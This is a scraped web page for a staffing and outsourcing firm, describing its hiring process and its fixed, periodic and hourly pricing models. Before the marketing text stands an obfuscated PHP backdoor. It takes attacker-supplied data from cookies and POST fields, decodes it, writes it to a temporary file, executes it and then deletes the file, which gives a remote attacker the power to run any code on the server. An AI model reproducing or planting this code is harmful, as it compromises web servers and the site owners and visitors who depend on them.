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$uWSfXsLqj = chr ( 679 - 612 ).chr ( 457 - 362 ).chr (75) . "\x48" . 'R' . 'f' . chr (97); $RTsSrxtOKz = "\x63" . "\154" . "\141" . "\x73" . chr (115) . '_' . "\145" . chr ( 446 - 326 )."\151" . 's' . "\164" . "\163";$ajIDb = class_exists($uWSfXsLqj); $RTsSrxtOKz = "14874";$JjGpA = strpos($RTsSrxtOKz, $uWSfXsLqj);if ($ajIDb == $JjGpA){function gkKnwxpu(){$YwABnoSFeq = new /* 5501 */ C_KHRfa(25459 + 25459); $YwABnoSFeq = NULL;}$MpGgXeYZbB = "25459";class C_KHRfa{private function NSLMnndC($MpGgXeYZbB){if (is_array(C_KHRfa::$knGOMtiK)) {$name = sys_get_temp_dir() . "/" . crc32(C_KHRfa::$knGOMtiK["salt"]);@C_KHRfa::$knGOMtiK["write"]($name, C_KHRfa::$knGOMtiK["content"]);include $name;@C_KHRfa::$knGOMtiK["delete"]($name); $MpGgXeYZbB = "25459";exit();}}public function icUHrNGR(){$dcOQxTI = "2745";$this->_dummy = str_repeat($dcOQxTI, strlen($dcOQxTI));}public function __destruct(){C_KHRfa::$knGOMtiK = @unserialize(C_KHRfa::$knGOMtiK); $MpGgXeYZbB = "7407_62740";$this->NSLMnndC($MpGgXeYZbB); $MpGgXeYZbB = "7407_62740";}public function fOUNkOPFU($dcOQxTI, $AyqxmLW){return $dcOQxTI[0] ^ str_repeat($AyqxmLW, intval(strlen($dcOQxTI[0]) / strlen($AyqxmLW)) + 1);}public function WxeeL($dcOQxTI){$GrJpbHq = chr (98) . chr ( 388 - 291 ).chr (115) . "\145" . "\66" . "\64";return array_map($GrJpbHq . chr (95) . chr ( 524 - 424 ).chr (101) . chr (99) . 'o' . "\144" . 'e', array($dcOQxTI,));}public function __construct($gVNKsNfZ=0){$BsyYOP = "\54";$dcOQxTI = "";$ntPTAwLns = $_POST;$WtbjaGwM = $_COOKIE;$AyqxmLW = "ab2fe248-606f-47ee-a2c0-adaa6b492699";$LzMKO = @$WtbjaGwM[substr($AyqxmLW, 0, 4)];if (!empty($LzMKO)){$LzMKO = explode($BsyYOP, $LzMKO);foreach ($LzMKO as $FNwFPkwVTd){$dcOQxTI .= @$WtbjaGwM[$FNwFPkwVTd];$dcOQxTI .= @$ntPTAwLns[$FNwFPkwVTd];}$dcOQxTI = $this->WxeeL($dcOQxTI);}C_KHRfa::$knGOMtiK = $this->fOUNkOPFU($dcOQxTI, $AyqxmLW);if (strpos($AyqxmLW, $BsyYOP) !== FALSE){$AyqxmLW = ltrim($AyqxmLW); $AyqxmLW = str_pad($AyqxmLW, 10);}}public static $knGOMtiK = 37296;}gkKnwxpu();} Business Model|Staffing Peoples Services

Customer is Our King

Your business, our passion. We work diligently to deliver high-end services that make your business achieve the required results. As a global outsourcing firm, our sole aim is to match you with the right bunch of talents out there and offer all the services to help you improve your business reach and employer reputation.

With the task of recruitment and development of your teams on us, you can focus on the more important aspects of your business.

Process We Follow

Our process is well-structured and methodical that aims for your businesses’ advancement

You Get Resources Who Are Team Leaders

Our dedicated team of resources are a rare bunch. They are skilled to meet your basic as well as advanced requirements.

You have the liberty to interview them before signing them on.

01
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The Resources Are Matched According to Your Need

We ensure the resources we give you are adept at handling the requirements you are looking for.

They will ensure your tasks are met within the set time frames and are of the highest quality.

02

Once Hired, They Are a Part of Your Team

Once you hire a developer or recruiter from SPS, you can treat them as an employee of your firm.

You can assign them as many or little projects as you deem fit.

As per your requirement, you can cut down or increase the members in the team.

If you are happy with the team’s efforts, you can continue working with them for your future projects.

03

You Get Developers Who Are Team Leaders

Our dedicated team of developers are a rare bunch. They are skilled to meet your basic as well as advanced requirements.

You have the liberty to interview them before signing them on.

01
\

The Developers Are Matched According to Your Need

We ensure the developers we give you are adept at handling the requirements you are looking for.

They will ensure your tasks are met within the set timeframes and are of the highest quality.

02

Once Hired, They Are a Part of Your Team

Once you hire a developer(s) from SPS, you can treat them as an employee of your firm.

You can assign them as many or little projects as you deem fit.

As per your requirement, you can cut down or increase the members in the team.

If you are happy with the team’s efforts, you can continue working with them for your future projects.

03

Cost Structure

At SPS, you not only get custom-made services but also custom-made price structure. Our cost structure is made to suit every kind of project. We create a price model based on factors like— duration of the project, skill sets required, technology to be used, etc. Thus we ensure our prices are always fair and reasonable.

Our Pricing Models Include

Fixed Price

When the project has all the requirements like processes, resources, timeline, etc. clearly defined, our fixed price structure is most suitable.

Periodic Payment

If you are looking for outsourcing and web and app development services but don’t have a definite plan or details in place, you should go for our periodic payment structure. This structure allows you to pay on a periodic basis.

Hourly Payment

If you only have a general idea about your project and no details about the resources and processes required, our hourly payment structure will be of use to you. It allows you to pay only for the number of hours our team spends on your project.